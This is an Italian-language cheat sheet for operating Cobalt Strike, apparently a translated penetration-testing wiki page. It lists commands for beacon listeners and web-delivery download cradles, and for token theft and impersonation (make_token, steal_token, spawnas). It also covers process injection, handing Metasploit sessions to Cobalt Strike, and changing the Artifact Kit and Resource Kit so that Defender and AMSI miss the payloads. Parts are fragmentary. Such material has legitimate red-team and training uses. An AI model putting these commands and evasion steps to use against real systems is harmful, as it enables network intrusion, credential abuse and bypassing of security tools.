`Cobalt Strike -> Ascoltatori -> Aggiungi/Modifica` quindi puoi selezionare dove ascoltare, quale tipo di beacon utilizzare (http, dns, smb...) e altro.
* Il **beacon TCP imposterà un ascoltatore sulla porta selezionata**. Per connettersi a un beacon TCP utilizzare il comando `connect <ip> <port>` da un altro beacon
* Il **beacon smb ascolterà in un nome di pipe con il nome selezionato**. Per connettersi a un beacon SMB è necessario utilizzare il comando `link [target] [pipe]`.
`Attacchi -> Web Drive-by -> Consegna Web Scriptata (S)` Questo genererà uno script/eseguibile per scaricare il beacon da cobalt strike in formati come: bitsadmin, exe, powershell e python
Se hai già il file che desideri ospitare in un server web vai su `Attacchi -> Web Drive-by -> Ospita File` e seleziona il file da ospitare e la configurazione del server web.
powershell <scrivi qui il comando powershell>
# Impersonazione utente
## Generazione token con credenziali
make_token [DOMINIO\utente] [password] # Crea un token per impersonare un utente nella rete
ls \\nome_computer\c$ # Prova a utilizzare il token generato per accedere a C$ in un computer
rev2self # Smetti di utilizzare il token generato con make_token
## L'uso di make_token genera l'evento 4624: un account è stato effettuato l'accesso con successo. Questo evento è molto comune in un dominio Windows, ma può essere limitato filtrando il tipo di accesso. Come accennato in precedenza, utilizza LOGON32_LOGON_NEW_CREDENTIALS che è il tipo 9.
## Come make_token ma rubando il token da un processo
steal_token [pid] # Inoltre, questo è utile per azioni di rete, non per azioni locali
## Dalla documentazione dell'API sappiamo che questo tipo di accesso "consente al chiamante di clonare il proprio token corrente". Ecco perché l'output di Beacon dice Impersonated <current_username> - sta impersonando il nostro token clonato.
ls \\nome_computer\c$ # Prova a utilizzare il token generato per accedere a C$ in un computer
rev2self # Smetti di utilizzare il token rubato da steal_token
## Avvia un processo con nuove credenziali
spawnas [dominio\nome_utente] [password] [ascoltatore] # Fallo da una directory con accesso in lettura come: cd C:\
## Come make_token, questo genererà l'evento Windows 4624: un account è stato effettuato l'accesso con successo, ma con un tipo di accesso 2 (LOGON32_LOGON_INTERACTIVE). Verranno dettagliati l'utente chiamante (TargetUserName) e l'utente impersonato (TargetOutboundUserName).
## Inietta in un processo
inject [pid] [x64|x86] [ascoltatore]
## Da un punto di vista OpSec: non eseguire l'iniezione cross-platform a meno che non sia strettamente necessario (ad es. x86 -> x64 o x64 -> x86).
## Passa l'hash
## Questa modifica richiede la patching della memoria LSASS che è un'azione ad alto rischio, richiede privilegi di amministratore locale e non è molto fattibile se Protected Process Light (PPL) è abilitato.
# Passare la sessione di metasploit a cobalt strike
## Genera lo stageless Beacon shellcode, vai su Attacks > Packages > Windows Executable (S), seleziona l'ascoltatore desiderato, seleziona Raw come tipo di output e seleziona Use x64 payload.
## Usa post/windows/manage/shellcode_inject in metasploit per iniettare il codice shell di cobalt strike generato
Di solito in `/opt/cobaltstrike/artifact-kit` puoi trovare il codice e i modelli precompilati (in `/src-common`) dei payload che cobalt strike utilizzerà per generare i beacon binari.
Utilizzando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con il backdoor generato (o solo con il modello compilato) puoi scoprire cosa fa scattare il defender. Di solito si tratta di una stringa. Pertanto, puoi semplicemente modificare il codice che genera il backdoor in modo che quella stringa non appaia nel binario finale.
Dopo aver modificato il codice, esegui `./build.sh` dalla stessa directory e copia la cartella `dist-pipe/` nel client Windows in `C:\Tools\cobaltstrike\ArtifactKit`.
Non dimenticare di caricare lo script aggressivo `dist-pipe\artifact.cna` per indicare a Cobalt Strike di utilizzare le risorse dal disco che desideriamo e non quelle caricate.
Utilizzando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) con i modelli è possibile individuare ciò che non piace al difensore (in questo caso AMSI) e modificarlo:
Non dimenticare di caricare lo script aggressivo `ResourceKit\resources.cna` per indicare a Cobalt Strike di utilizzare le risorse dal disco che desideriamo e non quelle caricate.